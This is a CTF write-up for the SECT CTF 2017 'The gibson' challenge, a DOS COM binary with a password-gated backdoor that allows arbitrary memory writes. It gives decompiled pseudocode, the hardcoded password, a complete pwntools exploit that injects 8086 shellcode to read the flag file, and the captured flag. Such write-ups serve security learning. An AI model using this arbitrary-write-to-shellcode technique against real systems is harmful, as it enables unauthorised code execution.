Rating:
SECT CTF 2017 PWN300 Write Up
=============================
> **The gibson - Pwn (300 + 0)**
>
> The Plague: Someone didn't bother reading my carefully prepared memo on commonly-used passwords. Now, then, as I so > meticulously pointed out, the four most-used passwords are: love, sex, secret, and...
> THE FLAG is in the file flag
>
> **Solves:** 12
> **Service:** nc pwn.sect.ctf.rocks 4444
> **Download:** http://dl.ctf.rocks/thegibson.tar.gz
> **Author:** likvidera
This was a fun challenge I solved for HackingForSoju who finished 2nd.
Description:
------------
The challenge is a reasonably small DOS COM executable.
The 8086 ASM is fairly easy to understand, here is the pseudo representation:
```c
// Print welcome message
print("#######################\n\r"
"THE GIBSON BACKDOOR\n\r"
"#######################\n\r");
// Read the password
print("\n\rEnter password: ");
while ((c = getchar()) != '\n')
*buff++ = c;
// Check the password
pass = "HACKTHEPLANET";
for (i = 0; i < 13; i++)
if (buff[i] != pass[i])
goto EXIT;
// Print backdoor prompt
print("\n\r OK! BACKDOOR CMD: ")
// Initialise vars
void *ptr = 0x19a
short val = 0x0
// Read input from the user (without echoing chars back)
while ((c = getchar()) != '\n')
switch (c){
// Increment the pointer
case 'A':
ptr++;
break;
// Decrement the pointer
case 'B':
ptr--;
break;
// Decrement the value
case 'C':
val--;
break;
// Increment the value
case 'D':
val++
break;
// Write the value to the address ptr points to
case 'E':
*ptr = val;
break;
}
EXIT:
print("\n\rYOU ARE EXPUNGED, PRESS ENTER TO LEAVE!");
if (getchar() == '\n')
exit(0);
```
The first step is to send the password: "HACKTHEPLANET" which will give access to the backdoor prompt where we can enter commands. The commands are single characters, A, B, C, D and E that will manipulate a pointer and value and allow us to store the value in memory at the pointer location.
Luckily, there is no such thing as read only memory in a COM executable, so we can write bytes in the code itself. The perfect location to write to would be in the EXIT block (after the exit message is printed, so we have confirmation everything worked as expected).
Now all we have to do is figure out how to write 8086 shellcode...
References:
-----------
1. [DOS function codes for int 0x21](http://spike.scu.edu.au/~barry/interrupts.html)
2. [8086 opcodes](http://csiflabs.cs.ucdavis.edu/~ssdavis/50/8086%20Opcodes.pdf)
Exploit Code:
-------------
```python
from pwn import *
import time
import sys
# Info:
#
# COM binary for DOS, it reads a password "HACKTHEPLANET" and then it will let you
# input "commands" in the form of chars that map to instructions:
#
# A => add bx, 1
# B => sub bx, 1
# C => sub cx, 1
# D => add cx, 1
# E => mov [bx], cx
#
# With that, we have an arbitrary write, so we can write our code in order to read
# the flag.
LOCAL = True
if len(sys.argv) > 1:
LOCAL = False
# initial register values
BX = 0x019a
CX = 0x0000
def sendline(line):
if LOCAL == True:
print line
else:
io.sendline(line)
def inc_bx():
global BX
BX += 1
return 'A'
def dec_bx():
global BX
BX -= 1
return 'B'
def inc_cx():
global CX
CX += 1
return 'D'
def dec_cx():
global CX
CX -= 1
return 'C'
def store():
return 'E'
def enc_write(pay, addr):
ret = ''
# set the initial address
if addr < BX:
end = BX - addr
for i in range(end):
ret += dec_bx()
elif addr > BX:
end = addr - BX
for i in range(end):
ret += inc_bx()
# loop through all the bytes of the payload
for char in pay:
val = ord(char)
if val < CX:
end = CX - val
for i in range(end):
ret += dec_cx()
elif val > CX:
end = val - CX
for i in range(end):
ret += inc_cx()
# store the byte
ret += store()
# Increment the address
ret += inc_bx()
return ret
if LOCAL == False:
io = remote('pwn.sect.ctf.rocks', 4444)
io.sendline()
io.sendline()
io.recvuntil('CHALL.COM')
io.recvuntil(':')
if LOCAL == False:
p = log.progress('Sending password...')
# send password
sendline('HACKTHEPLANET')
if LOCAL == False:
p.success()
FILE = 0x0210 # location to write the file name
BUFF = 0x0230 # location to write the file contents we read
SIZE = 0x0030 # number of bytes to read from the file
pay = ''
# open file
pay += '\xb4\x3d' # mov ah, 0x3d (open syscall)
pay += '\xb0\x00' # mov al, 0x00 (READONLY)
pay += '\xba'+p16(FILE) # mov dx, FILE
pay += '\xcd\x21' # int 0x21
# read from file
pay += '\x93' # xchg ax, bx
pay += '\xb4\x3f' # mov ah, 0x3f (read syscall)
pay += '\xb9'+p16(SIZE) # mov cx, SIZE
pay += '\xba'+p16(BUFF) # mov dx, BUFF
pay += '\xcd\x21' # int 0x21
# print the buffer
pay += '\xb4\x09' # mov ah, 0x09 (print syscall)
pay += '\xba'+p16(BUFF) # mov dx, BUFF
pay += '\xcd\x21' # int 0x21
# wait for char
pay += '\xb4\x01' # mov ah, 0x01 (getc syscall)
pay += '\xcd\x21' # int 0x21
# exit
pay += '\xb4\x4c' # mov ah, 0x00 (exit syscall)
pay += '\xcd\x21' # int 0x21
# build the payload in the final form
xxx = enc_write(pay, 0x1a1)
xxx += enc_write('flag\x00', FILE)
if LOCAL == False:
io.recvuntil('OK! BACKDOOR CMD:')
p = log.progress('Sending %d commands (%d byte payload)' % (len(xxx), len(pay)))
# send commands
sendline(xxx)
if LOCAL == False:
p.success()
# wait for output
p = log.progress('Executing commands...')
io.recvuntil('YOU ARE EXPUNGED, PRESS ENTER TO LEAVE!')
flag = io.recvuntil('}')
p.success()
log.success('Got Flag: %s' % flag)
# terminate
io.send('\n')
```
Flag:
-----------
**SECT{MEMBER_MSDOS_I_MEMBER}**
A fantastic challenge and a fantastic CTF. Thanks to likvidera and the other organisers.
See attached GIF for a live action version of this writeup and attached base64 tar.gz for the challenge file :)